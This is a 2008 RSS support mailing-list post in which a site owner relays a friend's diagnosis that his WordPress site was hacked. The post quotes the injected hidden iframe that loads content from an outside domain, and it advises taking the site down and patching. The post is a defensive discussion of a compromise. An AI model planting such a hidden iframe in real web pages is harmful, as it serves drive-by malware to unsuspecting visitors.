Re: I've tried everything but cant fix my feed.

"neilm_365" <[email protected]> Tue, 04 Nov 2008 16:21:02 -0000
Newsgroups gmane.network.syndication.rss.support
Message-ID <[email protected]>
I think what happened is I got hacked. Just got this email from a programmer friend of 
mine:

I'm afraid it looks like your site has been hacked - if it's Wordpress and it's out of date, 
and if you allow comments or some other way for the user to get input onto the site, then 
it was could have been through an SQL injection attack. If none of those are true then 
perhaps someone gained access to the server itself.

The Javascript plants this HTML at the end of your page:

<iframe src='http://trafficinc.ru/index.php' width='1' height='1' style='visibil
ity: hidden;'></iframe>

The iframe will contain whatever trafficinc.ru/index.php is dishing up - I would suspect 
it'd be malware that is attempting to exploit some vulnerability or other. Its size means 
that it wouldn't be visible on screen so it's not simply trying to plant advertising on your 
page.

I would take the site down to stop your users from getting infected, then update to the 
latest WordPress, PHP and MySQL and find out where that HTML is in the database and get 
rid of it (it could be anywhere, SQL injection attacks allow the attacker to write content 
into any record in the database, but it'll have the text you're seeing in your page so it 
shouldn't be too hard to find).


Good luck!
--------------

I updated to Wordpress 2.6.3 and the feed error disappeared so it must have been placed 
on my site by a hacker! Very alarming and I need to look into where the code is. I 
remember a few weeks ago finding a comment on the site that said it was made by me (ie 
Admin) but I knew nothing about it.

Regarding all the formatting I really need to learn more about RSS. Ive not got a clue about 
how to strip out formatting from my feed. The whole podcast rss and normal rss process 
is quite confusing to a beginner.

Thanks all for the help







------------------------------------

Yahoo! Groups Links

<*> To visit your group on the web, go to:
    http://groups.yahoo.com/group/rss-public/

<*> Your email settings:
    Individual Email | Traditional

<*> To change settings online go to:
    http://groups.yahoo.com/group/rss-public/join
    (Yahoo! ID required)

<*> To change settings via email:
    mailto:[email protected] 
    mailto:[email protected]

<*> To unsubscribe from this group, send an email to:
    [email protected]

<*> Your use of Yahoo! Groups is subject to:
    http://docs.yahoo.com/info/terms/